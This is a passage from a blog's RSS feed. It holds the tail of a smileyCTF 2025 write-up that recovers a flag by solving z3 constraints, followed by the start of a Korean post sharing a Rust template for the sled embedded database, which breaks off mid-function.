&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;190&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;96&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;290&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;38&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;224&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10355&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;158&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;202&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10355&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;check&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;as_long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Flag: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# Flag: .;,;.{imagine_if_i_made_it_compiled!!!}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 16 Jun 2025 04:20:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/smileyctf2025-success/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/smileyctf2025-success/</guid>
      </item>
    
      <item>
        <title>Rust sled template</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;사이드 프로젝트 중 sled 관련 공통 모듈을 만들어 공유하게 되었습니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;str&lt;/code&gt; 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Uuid&lt;/code&gt;를 통해 키 이용 가능&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;소스-코드&quot;&gt;소스 코드&lt;/h2&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// serde = { version = &quot;1.0.152&quot;, features = [&quot;derive&quot;] }&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// serde_json = &quot;1.0.91&quot;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// sled = &quot;0.34.7&quot;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// flate2 = &quot;1.1.1&quot;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// uuid = { version = &quot;1.17.0&quot;, features = [&quot;fast-rng&quot;, &quot;v4&quot;] &lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;serde&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Serialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;de&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DeserializeOwned&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IVec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::{&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LazyLock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;uuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Uuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LazyLock&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;LazyLock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(||&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;db&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRoot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbTree&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inner&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;trait&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbReturnTrait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbGet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRaw&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Serialize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Sized&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DeserializeOwned&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.set_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inflate_deserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DeserializeOwned&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.remove_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inflate_deserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;trait&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbTrait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbGet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRaw&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Serialize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Sized&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
